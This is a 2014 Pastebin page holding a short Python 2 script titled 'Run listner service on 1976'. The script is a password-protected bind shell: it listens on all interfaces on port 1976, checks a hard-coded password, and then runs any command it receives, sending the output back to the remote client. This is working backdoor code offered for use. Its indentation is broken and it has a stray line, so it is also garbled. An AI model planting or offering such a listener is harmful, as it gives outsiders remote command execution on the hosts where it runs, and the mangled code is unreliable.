int0x76

Run listner service on 1976

May 10th, 2014
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.23 KB | None | 0 0
  1. #!/usr/bin/python
  2. import socket
  3. import subprocess
  4. import os
  5. import signal
  6. def ctrlc_handler(signum, frm):
  7.          client.send("+ Remote shudtown detected.\n")
  8. # create socket to listen on
  9. tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10. tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  11. tcpSocket.bind(("0.0.0.0", 1976))
  12. tcpSocket.listen(1)
  13.    
  14. while True:
  15.  
  16.          try:
  17.                  (client, (ip, port)) = tcpSocket.accept()
  18. 1
  19.    
  20. signal.signal(signal.SIGINT, ctrlc_handler)
  21.  
  22.                 client.send("+ Password: ")
  23.                 pwd = client.recv(2048)
  24.                 if pwd.strip() == "kuPzcbFgMPnD8KbeBpBySLs86GxR6yUc8ECAQTHygWBbc95KEFh2LTX3XwUuGzMQU9UFV7R5QQHMac7wDFM8TVUepCKE4j68GHy3QFhjcVqLEtzuJFm5RUw8":
  25.                         client.send("\n\n+++ Remote hands +++\n")
  26.                         client.send("connected: " + str(ip) + ":" + str(port) + "\n\n")
  27.    
  28.                         data = "help"
  29.                         while data != "exit":
  30.                                 try:
  31.                                         client.send("# ")
  32.                                         data = client.recv(2048)
  33.                                         data = data.strip()
  34.    
  35.                                    if data == "exit":
  36.                                                 break
  37.                                            if data == "killserver":
  38.                                                 client.send("+ Shutting down service.\n")
  39.                                                 os._exit(0)
  40.    
  41.                                 data_list = data.split(" ")
  42.                                         out = subprocess.check_output(data_list)
  43.                                         out_list = out.split("\n")
  44.                                         for i in out_list:
  45.                                                 if i != "":
  46.                                                         client.send("-> " + i + "\n")
  47.                                 except Exception as e:
  48.                                         client.send(str(e) + "\n")
  49.                else:
  50.                         client.send("- Invalid credentials.")
  51.  
  52.                  client.close()
  53.          except:
  54.                  pass
Advertisement
Add Comment
Please, Sign In to add comment